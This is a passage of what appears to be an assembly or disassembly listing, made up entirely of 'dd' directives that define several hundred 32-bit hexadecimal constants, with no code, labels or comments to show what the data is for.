		dd 18C0BA05h, 72AC5CA9h, 3CCFC06h, 9871AA2Eh, 12A0ABF6h
		dd 1BEA636Ah, 4F8B1300h, 0E02032ECh, 0AE4525A8h, 2881E802h
		dd 29533B61h, 0CEF200C8h, 0ACB16B2Ah, 4CAE00C3h, 0E9FD308Eh
		dd 6F00CDEFh, 18176781h, 3DFC9095h, 0FA005172h,	4E98DC44h
		dd 0AE0036DDh, 8C97F2A7h, 125218Eh, 0F8A64116h,	0F0D4F917h
		dd 0E00461Ch, 6A9BB9Eh,	7FD63F3h, 26DE3366h, 0F0AE10BEh
		dd 123C86FAh, 6ED500C4h, 619E4C34h, 3E57869h, 0DC093188h
		dd 0E6E09842h, 64018F74h, 9F40CA10h, 7CD0C99Bh,	9A3D00DBh
		dd 58037B6Eh, 8900C150h, 3AFA5EEDh, 7926C04Ch, 10E10085h
		dd 8176F19Ch, 0A70E41D5h, 80B3B92Ah, 140C90C1h,	0F29C00C8h
		dd 770E2B7Eh, 5A001CD2h, 0CFE16F2Ch, 0F4BD7DD0h, 22531FDEh
		dd 0BC1AC270h, 0A8804568h, 560A2C90h, 3400A475h, 9CBFDFF8h
		dd 5D49470Fh, 8F007450h, 69161AB8h, 8E095BB5h, 268880F3h
		dd 0B68600h, 37B8075Ch,	2A18FA1Dh, 0F79B2800h, 0CA7556A8h
		dd 19853B23h, 43625200h, 0A92FD2Eh, 0B2824A1Eh,	184FDFC0h
		dd 0C30A1E3h, 0B441F3AEh, 0B71E2079h, 71C16BF9h, 0BB2FAB51h
		dd 9064BDF5h, 0B9AC076Eh, 20496A0Fh, 137DA191h,	52D9D102h
		dd 0C1A9989Ah, 7F70E82Ah, 290B3072h, 528E90B0h,	609CE937h
		dd 16AD6F80h, 51400045h, 8E119996h, 0F20C1F4Bh,	89642F65h
		dd 27C800D9h, 980F92FFh, 4E746FE8h, 4D29462Ch, 0C1602018h
		dd 8FA20321h, 6C37A8E7h, 8A1190DFh, 3A78DAFEh, 0EE21BD0Ch
		dd 52B11093h, 0C3F00489h, 0F0E188CDh, 0A87ECE59h, 9C1D6CF2h
		dd 0E781BF90h, 0FC248F92h, 3F41E8ECh, 0BA98D857h, 91F029BCh
		dd 3E639E80h, 19079DA1h, 72A5B890h, 3BE0DDF3h, 760EFBD3h
		dd 80EAC20Ch, 0BB550361h, 292B0FFCh, 0EBA0F8DBh, 0F46BCD7Ch
		dd 0A172EE00h, 0B914851Eh, 0E70A00A9h, 4BAB3741h, 0DB006406h
		dd 0C166D439h, 9088C34Dh, 0F47781h, 0E20907F6h,	1A35296Ch
		dd 8C44C900h, 7B1FC3DCh
		dd 69303F0h, 918570C7h,	2014149Bh, 0D1B5CBh, 7DD80B3Eh
		dd 432353h, 2CC584A2h, 59E43C54h, 369BDC00h, 0B72ADE09h
		dd 0FB1E01A8h, 2505CD79h, 0FCC371AFh, 0A600A413h, 0A0FC7C2Ch
		dd 0F096D4F1h, 350F03A9h, 0F6447EABh, 5C8FDDD0h, 55E84Ch
		dd 89BAE454h, 383A5081h, 7980ADBEh, 0F5FEFF71h,	0D500C9A9h
		dd 56623E7Eh, 9B3242h, 0F151A716h, 430CEBD8h, 194C3100h
		dd 0C9F6B172h, 0A5620038h, 1889A23h, 0DF00A66Bh, 1855219Bh
		dd 6FBBB1h, 4D66F232h, 0D3F16024h, 2FC6CC00h, 7B21F9ABh
		dd 1E4908Fh, 9FD2C9D1h,	0EC447311h, 401E3B1Ah, 202E3A1h
		dd 0E0CFA3EDh, 24BB26F7h, 38487E7h, 3720B3D1h, 0FC3496F0h
		dd 80DD2E3Ch, 0F0DBAF53h, 1F7317ACh, 663F9781h,	582D0E45h
		dd 0B5435200h, 0B7198ECCh, 0CE208D1Fh, 3AC08AF4h, 0F901BB4Ch
		dd 8C9CEB83h, 0C86C20F5h, 2BE8E600h, 0E517A933h, 3686011Eh
		dd 5611E201h, 7F93409Eh, 4A00FBBAh, 0D06651BBh,	0C336DEh
		dd 346DC4B9h, 78721E14h, 0C0F4C200h, 2132ABEBh,	0D3E10080h
		dd 2BD099CAh, 0D1005F55h, 52455B75h, 2118BCh, 0AF77B50Dh
		dd 0C84FDB91h, 37A1B203h, 0B08A4C84h, 3A9D40A2h, 0F0013CE3h
		dd 0E7F572F2h, 24A3D4AEh, 0BE309000h, 0D7D6E554h, 7DED001Dh
		dd 58D422E6h, 0DF24719Ah, 738004D5h, 0F81EF5DBh, 161D3CC0h
		dd 37070E80h, 57A66E8Fh, 44596C00h, 0F398B355h,	46AD019Ah
		dd 0A77C2FCEh, 0BA6DE892h, 9102CCF6h, 0E5C77ED7h, 7A040C4h
		dd 98942963h, 4ACB0054h, 0DD88D7A0h, 0A80E4E00h, 0E90CF060h
		dd 40560070h, 61065A2Fh, 0D43772B7h, 9BE74885h,	9D3035B7h
		dd 0DE03E0h, 67AB642Dh,	1C590BD4h, 4F6DD501h, 0F2D390E7h
		dd 4C13C2F8h, 0CE0034FFh, 59777D12h, 5600915Bh,	6AC1D862h
		dd 0C962Bh, 979F6431h, 9BD977F0h, 0E2035800h, 714CA25h
		dd 8F98072Bh, 3015489Ah, 0AA136C01h, 4244D100h,	3E3A2FB6h
		dd 431700B0h, 0A8D9D32Ch, 0D83C6911h, 80AD00ABh, 964DF6A3h
		dd 0BF0900C7h, 49712B88h, 8098D883h, 12FC3953h,	0FC00C212h
		dd 0ADC633E5h, 93E0062h, 5B7DDD85h, 44001BD5h, 0B21D8F9Ch
		dd 38A8179h, 0FBC034C8h, 1AC0782Eh, 27005564h, 0E6F29E5Ah
		dd 3A169AB6h, 0C7F823Ah, 1A7E711Bh, 0F3E6A479h,	69FE52EAh
		dd 0E3A37500h, 0AAE2D62Bh, 0D8940148h, 0BF2024A0h, 490FBC2h
		dd 0A400D446h, 17626A29h, 0E8497Ah, 846C5860h, 11E52206h
		dd 7800F372h, 597677F1h, 0E1DCA7h, 0ADD5D0A4h, 195FC84Dh
		dd 93BF7E00h, 9FCB1C95h, 0FAB3000Fh, 426F2BA9h,	0FB3ED66Dh
		dd 7E700054h, 607F992Ch, 1A72010Ah, 249176B0h, 5ECCCC42h
		dd 1203759h, 0D601A444h, 0F1ECB0A6h, 451E00FAh,	0E4B5DE3Ah
		dd 3600BECFh, 82D0D683h, 92F7CCh, 8F1A6F9Ah, 51600A1Bh
		dd 0A32BF200h, 0F43B4336h, 0ACFA41h, 16A58022h,	2165B0ADh
		dd 7DF67401h, 0C911274Dh, 0BC3824h, 0B1FF895Fh,	0DFBE8EAAh
		dd 75B42A0Fh, 0F857C039h, 7EEF68Fh, 11D03DF5h, 0EF1623A7h
		dd 5D66AEC0h, 0A4B40B04h, 0CEC0B3E5h, 0FA3704h,	0CACBB52h
		dd 1FAB59D1h, 0F403AF0Eh, 76B50145h, 44E082AAh,	3A460196h
		dd 25DD0855h, 0ECA2DCCBh, 2A218C3Eh, 8748F075h,	0FC95802Ch
		dd 0D3A30Dh, 56D9DAE1h,	0FBD84CBCh, 1D139E00h, 0B4B251F6h
		dd 0D371DFDh, 5D9B4076h, 396CFA16h, 3A074A00h, 6B532DF1h
		dd 66AD0E96h, 12009D5Ch, 0BD4746D4h, 0CEC45800h, 0AB4D1382h
		dd 0C82B02BCh, 6E9D9CB3h, 8762FF80h, 0F60024FEh, 7432ECD9h
		dd 0B718A7h, 6C9CA76h, 0F7FD6D11h, 578D8300h, 0EC98484Ah
		dd 77440108h, 0ACC6A969h, 53E42002h, 0E235209h,	9B3707E2h
		dd 0F0E0BD20h, 4A8B012h, 0ECEE0FBEh, 20DBC7CFh,	0DEC169A6h
		dd 7AA95000h, 6213222Fh, 6A0D01F2h, 0DB9D7E2Ch,	6748CC90h
		dd 0EB919600h, 0BC22B001h, 0B9754Fh, 72EA4E5h, 0A6DFA844h
		dd 0BA03FEEEh, 800B6524h, 0B627B0CAh, 0B20A000Dh, 8F8EA3B1h
		dd 0C0A0D96Bh, 0D000C27Dh, 0F2455E12h, 146FE08h, 0E60C880Bh
		dd 471E7959h, 0C1A677D4h, 0F5E008F8h, 0F084754Dh, 0E6496814h
		dd 2A410070h, 0AA3B6A9h, 199900A8h, 445CC0B5h, 6C39D971h
		dd 0DB5E0080h, 88EE249Ah, 0C6E00069h, 9D079152h, 3B75F33Ah
		dd 0DC0F5DECh, 2FE2ECEDh, 9A54C393h, 0BAA02E14h, 0EDDF89C8h
		dd 20EEFE86h, 0B117C03h, 0F0B321BCh, 0C39E5FFh,	0B6157F68h
		dd 48076E31h, 0ADB2406Ah, 0A9E0D9A0h, 7A5500A3h, 0ECA68588h
		dd 0B3F8FE95h, 0F9006BF2h, 92CC8D3Eh, 1ECEA1F4h, 0FF4AEEC0h
		dd 247FAC00h, 740DDA11h, 70474D3Bh, 0A73CEA00h,	2DD85558h
		dd 0E0CCFCCDh, 0C0570B62h, 0B6804C7Ch, 0E797FBC7h, 0E875EA00h
		dd 0E91C347Bh, 87B12h, 0D85A9D17h, 0EB8655A4h, 9A35F100h
		dd 53C5560Dh, 7603488Dh, 6700613Ch, 80097D43h, 1B01885Ah
		dd 0EC6E4BB8h, 3D0DF7Ch, 0A22C0001h, 0B014F734h, 5A1C79A1h
		dd 0B5408E7Dh, 7A5BE528h, 643F00C3h, 0DD92779Ah, 0CF775FD0h
		dd 0E600787Bh, 0F1126A41h, 0B57B94EDh, 4317E00h, 7C1FFEFCh
		dd 7AD86CE5h, 0FC6A9A48h, 86E18366h, 0D9CED0A7h, 2810A560h
		dd 0EED772h, 552CA0AAh,	0C416B248h, 77A4B801h, 78A6EB34h
		dd 8AD4898h, 6331186Ch,	324C59E6h, 0E001FB10h, 0E7B13A60h
		dd 0E8884h, 82806D34h, 98C76083h, 0E038F063h, 0EF14A4F2h
		dd 5C0DF40Ch, 0E450EF10h, 79F09634h, 0FD4078DFh, 9883EBD9h
		dd 0CE841CDBh, 1C27415Fh, 0BD4AE57Bh, 896530C8h, 9FE6DBh
		dd 8B9E0AEFh, 40E92D93h, 3A84613Fh, 6CDFAB54h, 0BA680C3Ah
		dd 296C4163h, 49C7511h,	19A49872h, 0E18030B9h, 0AA6D6F58h
		dd 2C4CD81Bh, 0BA7A1E9Ch, 9FAF4CC3h, 0DC9A89D1h, 67267C4h
		dd 60F469FAh, 0C3E4D194h, 9C29860Eh, 7BA5400Dh,	189D0631h
		dd 6134E0A4h, 6D0336F4h, 0E1F9D3B0h, 4080EFDBh,	6539A5BDh
		dd 0F3F87Ch, 0ADE405E4h, 0F90032F8h, 5865D507h,	0CC36C3DDh
		dd 3CC12D51h, 0E3E47F01h, 0BBECA797h, 347D889Ch, 38E080D9h
		dd 0F70C01AFh, 18BF71F8h, 2780309Bh, 9DC83491h,	0FB1AC1DFh
		dd 0A28C2539h, 2680A41Eh, 11AE5FBAh, 800368A3h,	0C1420A0h
		dd 48E0079Fh, 0A8004D91h, 96E70650h, 7A436824h,	5DA0AFEh
		dd 11E8A684h, 0E65003Eh, 0CA0754BFh, 17D3097Bh,	1001524Ch
		dd 9AF84259h, 43D1C450h, 80D00770h, 5EDD14D6h, 18B5C07Fh
		dd 813CEF4Ah, 0FC7D0709h, 5EB01109h, 3076A18Fh,	32C661A0h
		dd 4601862Dh, 3436595Dh, 0F980981Dh, 0E0DDB380h, 14927B06h
		dd 60117F42h, 17687C8Eh, 0D4A27C20h, 49978C30h,	5BCB41Fh
		dd 0A01EA5BAh, 7741C162h, 0E77BF05Ah, 0C95468FAh, 0EA02D7E0h
		dd 0CE4E522Fh, 8BD848DDh, 751700CDh, 6633B60Fh,	0F890FC1Ch
		dd 0F6A2FB00h, 0DABF2658h, 0A452F157h, 328E2E48h, 0E306E20h
		dd 1A079B8Fh, 0D117ED74h, 1FE55930h, 0FBA0C796h, 0CBD51106h
		dd 0D8644325h, 7C8FF0FAh, 0A0B07A88h, 0A055D5Eh, 6279FB46h
		dd 0BCDF80C0h, 1A11F841h, 22B68000h, 8B846F8Ch,	94AD5021h
		dd 0D098A05Eh, 6A08C55Ch, 869820DFh, 4160C307h,	0A2550211h
		dd 1BEE0028h, 989B9EA6h, 8300B723h, 0CE947C0Eh,	0E978A360h
		dd 4B01E022h, 5917D6B2h, 32FECD45h, 13FB0088h, 84E404AAh
		dd 4EB73D2h, 0A6F62506h, 239C8009h, 6A88C402h, 0A6E0AE61h
		dd 0A6EE0148h, 0A52FC9DDh, 7DEBF420h, 0F24E2B02h, 3F9E442h
		dd 25C065D7h, 88587F31h
		dd 51CB30C4h, 4999153h,	51A63F9h, 7A78C0D8h, 2B0222D5h
		dd 0B99DC2A3h, 0F70CA054h, 11F98313h, 9BEA46Ch,	1039E29Bh
		dd 849203CCh, 28E39E22h, 24D06D69h, 62DCE033h, 6622E66Ch
		dd 3F6CE009h, 7ECAAE8h,	4801E0h, 0F1EDC483h, 3101B3F9h
		dd 0D49F376Ah, 21897E18h, 84107DF7h, 61DD9C96h,	836F13CBh
		dd 1631AC76h, 25C86AA0h, 29868634h, 0E1411E00h,	0F05CAA68h
		dd 0F7CC33E6h, 0A1A680D9h, 0A483E228h, 0BE1EE8FBh, 0ED4BCE0Ah
		dd 0D099D0A7h, 38227D28h, 20AC9E00h, 8D2CB159h,	10C4DC00h
		dd 0B9A1B595h, 34E0A0CCh, 9BF8995Eh, 408C9075h,	738915B5h
		dd 0B7C40D77h, 0FD188C18h, 8031BAA5h, 323ED4FEh, 0F7ABC75h
		dd 0C8FB05C0h, 8CE39725h, 31C9A258h, 276C9256h,	81C8AD90h
		dd 2BC4D6B8h, 0E04034F9h, 68E42654h, 5FA92400h,	80FF6338h
		dd 0AB12003Ch, 0F9E74C79h, 3424DB23h, 11400C50h, 1DCBFECDh
		dd 4982F7C2h, 583A7263h, 8030B0A8h, 0BBF24198h,	3507028Ah
		dd 95AE31C7h, 0E0E75882h, 2CDAE8CBh, 42EC6910h,	0F0287117h
		dd 1DF9F660h, 0EDF09FDh, 0BC999FBAh, 6600D287h,	0C54A10h
		dd 7504545Dh, 38D64B65h, 0B8BC170Fh, 9D095222h,	6C208274h
		dd 9A8CA51Bh, 73C3E85Eh, 0F9F83F5h, 34ECE071h, 1D5123A0h
		dd 0D8180658h, 0B996CCDh, 273A015Eh, 4D8F6AE3h,	858BD4A2h
		dd 0DCA4A924h, 0B49C10C9h, 41660279h, 0FCBCAA0Fh, 0CBCE88E8h
		dd 6EB921C0h, 7D5DC9A6h, 0AA9802F0h, 43A0CCFAh,	0A9A0DB8Ch
		dd 235080BAh, 8CB9C45Ch, 348A44ACh, 9B0D60E0h, 0C4F22994h
		dd 0B634296Ch, 0F99B02A8h, 109264EFh, 7300D846h, 1F524BEDh
		dd 0A7FD3Bh, 31DCE164h,	6A7DB12Ah, 77688B10h, 0DC7929h
		dd 9758F591h, 0C80014B2h, 31878DD6h, 79109Eh, 184A9683h
		dd 0A368D32Fh, 0FC07BA24h, 4C620685h, 4D174C8h,	84043961h
		dd 12F8D001h, 6788E66Ah, 62E90BA0h, 681060FFh, 8F01FAF3h
		dd 936EAA63h, 0D8FD7F2Bh, 905D4064h, 22449044h,	170099C8h
		dd 7BD05CBh, 99D27E06h,	6B303B40h, 9DBCD169h, 0BB6C6400h
		dd 989E755h, 1EBD01A3h,	1075B98Ch, 63E0D340h, 0EA171D04h
		dd 7848375Dh, 0BDC68077h, 755220BBh, 817F1B1Eh,	0F4A6C46Ch
		dd 0ECE8A42Ah, 8F03389Ah, 13C51052h, 8A3180F1h,	26FFFA75h
		dd 444E36Bh, 0A45C666Ah, 656A1E10h, 2560B0A9h, 34CF60Ch
		dd 8150D05Eh, 0BBB8531Eh, 0CC15594Eh, 18A05CF4h, 10494FCDh
		dd 7440019h, 0A4AF17CEh, 0FD026E51h, 0DCFC6AF7h, 5C44CDh
		dd 0FF3C5B6Dh, 3D3053C6h, 7C674176h, 91481489h,	0CD625035h
		dd 0D3671300h, 5B1B334Eh, 92430AD6h, 89B00A1Fh,	6449FF9Bh
		dd 0A822CEh, 0BE1C4B3Eh, 322DF25h, 913EDD7h, 91ADC636h
		dd 0FC07FCA0h, 0A29860D2h, 784DAEF0h, 0D3A78070h, 4894A233h
		dd 96C98C84h, 8AD17C48h, 4953C700h, 8CA0EF30h, 0CBE90FB5h
		dd 97A9A573h, 4790D828h, 0E8E7F065h, 3E040257h,	0CC72077Ah
		dd 0CAFEE0D1h, 5033AC25h, 78FC0728h, 4741C3CEh,	8CF98040h
		dd 0EC0C49A7h, 38060A84h, 0F1E39495h, 0DA050149h, 0D6E2B5B2h
		dd 4A5C22A7h, 627A4801h, 0EBE8A9BBh, 744EE489h,	0B53801E9h
		dd 7582F5D7h, 0D8E1C924h, 7FECDEADh, 15A84301h,	388AD54Eh
		dd 0CE583887h, 0BE0C485Fh, 0F5C0849h, 5EF54204h, 618EA286h
		dd 0CB1866EAh, 581884CFh, 0EA6037D4h, 4108CC30h, 10E7D630h
		dd 6584B5Dh, 0B4774A1Eh, 0A23060AAh, 0C2634939h, 55D80F3Eh
		dd 0DB01E635h, 802661BFh, 2F868391h, 0B42FB21h,	0DFAA4BF6h
		dd 0EF00E45Eh, 95F43CFEh, 9CB50C78h, 0D8403823h, 484CC600h
		dd 7FAA05A5h, 7CA00CB9h, 3278AF2Ch, 0A75EE318h,	0C0D9B698h
		dd 0E23711F9h, 310062CDh, 4AFA7A79h, 0A449716h,	78461267h
		dd 955F8C84h, 33006999h, 125B316Ah, 1D593CE0h, 6D83686h
		dd 30483E1Eh, 0DB10BD70h, 0B70C5FAEh, 6271D7CFh, 0A7805454h
		dd 0C8CC1D05h, 9B0027B1h, 0D4AAF582h, 54910256h, 0B8FB0122h
		dd 7DE15480h, 2F3F3072h, 985A0095h, 0B85C1E14h,	15D63CB0h
		dd 0AC41A195h, 0CFD2EF00h, 0AEE45102h, 50556C00h, 8E2AF96Bh
		dd 0D8AB14B1h, 0B21DC60h, 0A0ED610Ah, 769B7101h, 248F33h
		dd 80316265h, 5C8061BDh, 0C5B76676h, 4923B600h,	5E7ADBA6h
		dd 3CAEED2h, 15DE5DF1h,	0F81D4D67h, 1391874h, 0F25B6F7Ch
		dd 5898535Eh, 65EB786Ah, 0CDC981C0h, 54158655h,	0F95DD08Ch
		dd 6FE2A00h, 87CAEE0Ah,	903320E0h, 5800A4A0h, 1F3BE5F6h
		dd 0D8B89B15h, 9C980298h, 60344651h, 3024D1h, 1683B273h
		dd 0C7C669ABh, 708457EFh, 0F8922FB9h, 2BF5938h,	6A4EAEDEh
		dd 17C451Ch, 0AFEAFC7Ch, 72EC5060h, 7F068B40h, 6A423F2Ah
		dd 16D830E0h, 2F278999h, 0CB1A64A0h, 0FC41A812h, 9158284Fh
		dd 242FD12h, 0B8134F94h, 4009C44h, 6A2BBAF9h, 49C0BBC8h
		dd 8D22ACE6h, 0B620D81Bh, 0E9519169h, 0BC9F007h, 0EE04F362h
		dd 76E00D4Ah, 39ECB606h, 4083A38h, 0F4FA7453h, 2A5C8888h
		dd 1AF04E60h, 5155C158h, 46880041h, 692A1068h, 0F0808C1Dh
		dd 5926CFACh, 0A96D1CC8h, 3E12E9EDh, 6566C881h,	0F261805Ah
		dd 8C7FFBC2h, 0F58800AAh, 59BCEE67h, 4B748D95h,	0AE538E40h
		dd 770B434Ch, 0EC314884h, 12694B00h, 0D96797C0h, 0C8F8AC28h
		dd 9F0E7088h, 42A512E9h, 5044B17Ch, 88155981h, 205AC04Eh
		dd 28619B13h, 0E808EBD0h, 9A127700h, 0B4ADEF00h, 606AA735h
		dd 148D39E9h, 5DF8E00Ch, 4F00D850h, 68D94A92h, 1FD3FC6Dh
		dd 10342EBBh, 0D54114C1h, 8A1895F4h, 580AA4DBh,	651050B9h
		dd 5DC4413Eh, 69008091h, 44715E90h, 0CD17D39h, 5B335846h
		dd 7B0D4329h, 0B9D62518h, 0A4892847h, 0BD313184h, 0F0323Eh
		dd 0A54591A6h, 7B78A4h,	938E0B01h, 0B80DA076h, 0F6495560h
		dd 0EEB92726h, 0AB750FF8h, 10E4D1CCh, 9D80889Eh, 0E45FAC20h
		dd 0CE91C04Fh, 44FDD3DBh, 1505DE00h, 0CD3416D9h, 0FC12004Ah
		dd 0E969BFC0h, 0DC073A0Ch, 8F351165h, 7C9106A4h, 0C9800AEBh
		dd 0AE71A531h, 0AF001D94h, 4AC7753Eh, 62C0795h,	6E803C8Bh
		dd 6224D0B3h, 82801C4Fh, 31E9C60h, 0EAE0F51h, 0F9A1FF18h
		dd 27D0A8ADh, 4CBD0154h, 4FFF520Ah, 25056840h, 40EC8B5Dh
		dd 0B55C8D7Eh, 5AA7D18h, 532F701Dh, 0DC241139h,	35E8F42Ah
		dd 0DC1FDC1h, 21585044h, 8694082Ch, 6C00C57Fh, 0CC4CA8ABh
		dd 0BB5869h, 6E54A956h,	0A36FFA88h, 0B6307890h,	90AAB1E2h
		dd 0A45C5C56h, 0CE845200h, 611FC24Ah, 28A149h, 656A68F0h
		dd 9A74422Eh, 49D89A48h, 284278CEh, 0B101007Ah,	83C98244h
		dd 0FF1286A7h, 90489DB2h, 818C9C5Ch, 0FD068B39h, 1640CE61h
		dd 26003067h, 0F22101A3h, 0E0C1022Eh, 0F8171AFh, 1AA90E51h
		dd 0C0CC26C3h, 6B6E1800h, 44DB1F34h, 20BE00E1h,	94B42574h
		dd 0F9987BE7h, 2628E00h, 57E240F7h, 58F61E34h, 6D12C7E3h
		dd 0FA19300Dh, 0C10E01ADh, 0C01E435Ch, 14CAB04Bh, 180D606Ah
		dd 0BE31BFFh, 0D039AFECh, 30ACA05Ch, 30A19259h,	4C28858Ch
		dd 4F73BA97h, 5A39EEFEh, 0F954181Fh, 6E7CB860h,	0F0038C5h
		dd 0DF5BF475h, 0E33A843Eh, 0A1A90469h, 9180F112h, 52A1EDA5h
		dd 3F7BDD81h, 6D64E51Dh, 687E8EBFh, 192605C2h, 28419040h
		dd 15F36067h, 0A0A2D96Dh, 0E9211h, 0B7EF7AF7h, 0C6396FD0h
		dd 0C1805971h, 56D440Fh, 0A4166343h, 3D838046h,	0DABA2841h
		dd 159C30B4h, 0D7290149h
		dd 4630AC51h, 0C1460B8h, 705C1Bh, 2B09065Fh, 147C4061h
		dd 0A0E2A60Dh, 74027A14h, 7072B811h, 2DB41754h,	0E151D262h
		dd 809CAFC3h, 57DE0F42h, 0D9FC0C0Ah, 8C165EFh, 6388AE60h
		dd 7C05DFDDh, 18E1296Bh, 462802A0h, 0E660794Fh,	47007E2Bh
		dd 561E6768h, 0E7ADF41h, 63B4C1BAh, 4682F434h, 0FC110CB8h
		dd 98604994h, 0D1809C88h, 2AF0585Eh, 1E7C79h, 0B5353319h
		dd 0AC1760CFh, 480FE037h, 0F53FD031h, 83A85911h, 0FFF268F1h
		dd 0C153A212h, 905608D8h, 0E86F0230h, 254763Fh,	83F98480h
		dd 2A1E196Ch, 28315775h, 9457F39Ch, 50280D66h, 38B4081Ah
		dd 411FD97Bh, 50FE40CAh, 0BD37D4Fh, 582248ACh, 6F2A0019h
		dd 9DDB383h, 1AE60BCBh,	0C1517767h, 0D9A3E5F1h,	0D8EB9180h
		dd 4C71563Fh, 0E3B90D64h, 11C889Ch, 62C71EF6h, 0F9917F4Ah
		dd 0C542CC67h, 7570FE1Fh, 0D007ACEAh, 9C206BFBh, 0AA19F970h
		dd 3213287h, 0A5814E68h, 246338C8h, 721C8368h, 0C8697C3Dh
		dd 270B9B11h, 0AE80AF69h, 0C0B91DBCh, 7ACDDB00h, 0F1617E8Ah
		dd 2949192h, 0AE0338D0h, 0FF44B84Ch, 3C2D00B6h,	2F8CD0Ch
		dd 70384491h, 0E1A71942h, 0FD2C471h, 0BCF7B760h, 70B5CD58h
		dd 20C801D4h, 27148C49h, 12B08CDBh, 0C259F4h, 6EA963ABh
		dd 798BBDA8h, 2140B354h, 15E74200h, 820896D1h, 30FD2AAFh
		dd 942624ACh, 2CE08048h, 259A7D6Dh, 3676BC0Ah, 0C691FCFFh
		dd 34290E00h, 0EA1F1426h, 0A63F7B06h, 5449DB4Ah, 11580ABh
		dd 0A3076676h, 0CEB1178Ch, 0CAF74868h, 22AC3A52h, 6AEB009Ah
		dd 3B256968h, 0D9C86BF0h, 0F66D80F2h, 11A33059h, 731E2CE4h
		dd 0CACF7C83h, 0A08B6CEAh, 0F0F230D0h, 7C9B6031h, 9A03D1DEh
		dd 9140AAE9h, 104008FDh, 0A05A28C9h, 32DC40h, 2AB86E66h
		dd 516A5D17h, 0BFB0B909h, 65143009h, 0EC2A3582h, 99E4065Ch
		dd 1A2AF19Eh, 0EF129051h, 38008E8Ch, 718F2A34h,	4AA069Ah
		dd 0F9057ED6h, 45801174h, 0F47100C2h, 4D1310B4h, 7616A850h
		dd 4049F88Eh, 1081417h,	0AF883FA7h, 0FD94049Fh,	26A6414Dh
		dd 0EB899D0Fh, 0F9A05704h, 4419C492h, 792400D8h, 6AFE70F7h
		dd 0EC1B8F44h, 9C58090Ah, 84125483h, 0E52B5890h, 2CFC52h
		dd 5F246A8Eh, 6F9B58A3h, 0D2282E48h, 0BB750847h, 0C30B7A01h
		dd 0F4C06980h, 20B98C36h, 0FB922B00h, 109EEC56h, 6FD60A29h
		dd 91D80138h, 40FF16FAh, 20E1C021h, 0C0CAB852h,	150AC202h
		dd 0C4B2FE5Fh, 0D8196375h, 49986C82h, 0D873FDD4h, 0E0F2C424h
		dd 24AB128Bh, 0E1C0C39Ch, 0D6B9EDh, 8B1E6FB5h, 0E2F57C44h
		dd 0C9ABFB19h, 3910AC31h, 0D1004BD8h, 34EB361Ah, 1172433h
		dd 0A621B570h, 805F2337h, 666A60A8h, 900678A2h,	1008A668h
		dd 44C27392h, 98229C8Ch, 74B83564h, 0BC841469h,	80D0D08Ah
		dd 0A0F73ACBh, 8D00CF6Eh, 0A760CCF9h, 99C03E6Bh, 6CB1E928h
		dd 403436E3h, 5F28E868h, 793AE164h, 0B8750967h,	3A0E0097h
		dd 70BF6127h, 0DC13E4Dh, 2B9BD9E1h, 17584073h, 0B9600B78h
		dd 39DD6C11h, 2BD414F7h, 0CD2260DBh, 5EEE0303h,	80CC57B6h
		dd 4DCF2Dh, 5FE23B40h, 618D0FF4h, 1150EE5Dh, 26121178h
		dd 3AD440BAh, 0C0C8E64Ch, 0E929FE1Ch, 0D0022420h, 4330B0F0h
		dd 0FA012650h, 0C4130DBDh, 0AC36A2DAh, 0C8DDA43Eh, 0EB035A83h
		dd 28587DABh, 48B5228Ch, 8B80DC26h, 5946AF7h, 409A9F00h
		dd 34EA42E6h, 6B12017Eh, 0D20242Bh, 4A904789h, 482913C0h
		dd 4280B988h, 41E663B1h, 0C4B0546Ch, 0E1F70209h, 53AA37BEh
		dd 5C445069h, 0D90221E0h, 0F156863Fh, 0B0044440h, 0EFF9442Ch
		dd 0CF026B77h, 0CADD434Ch, 603448E9h, 60B925h, 0B2B186FAh
		dd 0F200B94Dh, 7F9899F7h, 2CDC4E15h, 60F8A647h,	0C95F10E7h
		dd 0B89C3554h, 48AF8624h, 5C17BC4Ah, 0B003C27h,	4DA998h
		dd 6572AACBh, 343E1A53h, 0AFA76903h, 7F569237h,	119494D8h
		dd 0FC6300C3h, 0A7E1A141h, 0CD670064h, 7D156CD6h, 0F009615Ch
		dd 20AE18DCh, 0E3AB4250h, 3A9D001Ch, 7AF8F72Ch,	0F17527CEh
		dd 21C89B02h, 49C90F77h, 38A63F80h, 4BEBE0C8h, 61EE708h
		dd 57801D2Ah, 0AAA49A7Ch, 50254C2Bh, 48C0B4D4h,	91FB1172h
		dd 4AA52700h, 14DFD976h, 4CC34CE6h, 0E33C60A0h,	0C54B560Fh
		dd 828750Dh, 2064149Ch,	578400E4h, 0C9BCCDCBh, 73294EE2h
		dd 1205AC0Eh, 0B80F6409h, 484855DEh, 0DB9E80D8h, 1C5937D3h
		dd 1CCFD8EDh, 63882613h, 41121F12h, 9C2C7EB8h, 2B3700E8h
		dd 403A63Eh, 0CA12D0CBh, 2498ACAAh, 0ADFC00B1h,	0E5B689Dh
		dd 0B33A2F16h, 0FD8D8793h, 3EC49066h, 4E479C03h, 712D912h
		dd 0CF315840h, 52A0C536h, 77040CACh, 88B9FE9Ah,	9288F3C4h
		dd 57EB01A0h, 2D733EA6h, 15142D97h, 18C4C646h, 769B219h
		dd 1F841C15h, 0F98FC234h, 0CC6E641Ah, 0C93B8100h, 264C52B5h
		dd 7B5BF2EDh, 0CD7B076Ah, 0A2C40F09h, 14685519h, 0B500C370h
		dd 2C9573BEh, 0FF9CD2Eh, 3A384A5Eh, 418E9EE1h, 0DEF050C3h
		dd 82FCFA2Dh, 0F155E705h, 0AC179523h, 0F08B7433h, 964544EAh
		dd 0F6120C04h, 5C0091E9h, 0C83F9E88h, 4B109DCh,	0FFB3681Ch
		dd 2104A223h, 41091B45h, 1C64969h, 332C49D2h, 3064F2h
		dd 54D0B321h, 0E090344Ch, 5CF288B2h, 0B801C0ABh, 0B30985D4h
		dd 0BC6219B8h, 339C900h, 5175AB16h, 3688FC00h, 922523Dh
		dd 294B0990h, 106C0D6Ah, 0AB72F804h, 0E4D25773h, 896CE416h
		dd 0D088B60h, 0E8CC138Ah, 0D72841h, 0E09E1B8Dh,	0F4EE44C3h
		dd 7178C600h, 0FD7E874Bh, 5C2CB0C0h, 494C87Dh, 6978E05Dh
		dd 4040E1E2h, 7213AC68h, 288828F0h, 0E5BE25E8h,	24504888h
		dd 1A21311Ah, 9080576Ah, 0C0B6277Dh, 8FC64100h,	4FDF5DE0h
		dd 0D71A0083h, 4945FA07h, 0B917087Fh, 2842B338h, 91A1CED0h
		dd 0AC327AACh, 101C0207h, 0BBA3B1B9h, 40A040DFh, 9D7788FBh
		dd 87E15F3Bh, 828D465Ch, 0E0610DA5h, 47223F2h, 7C51AA0Bh
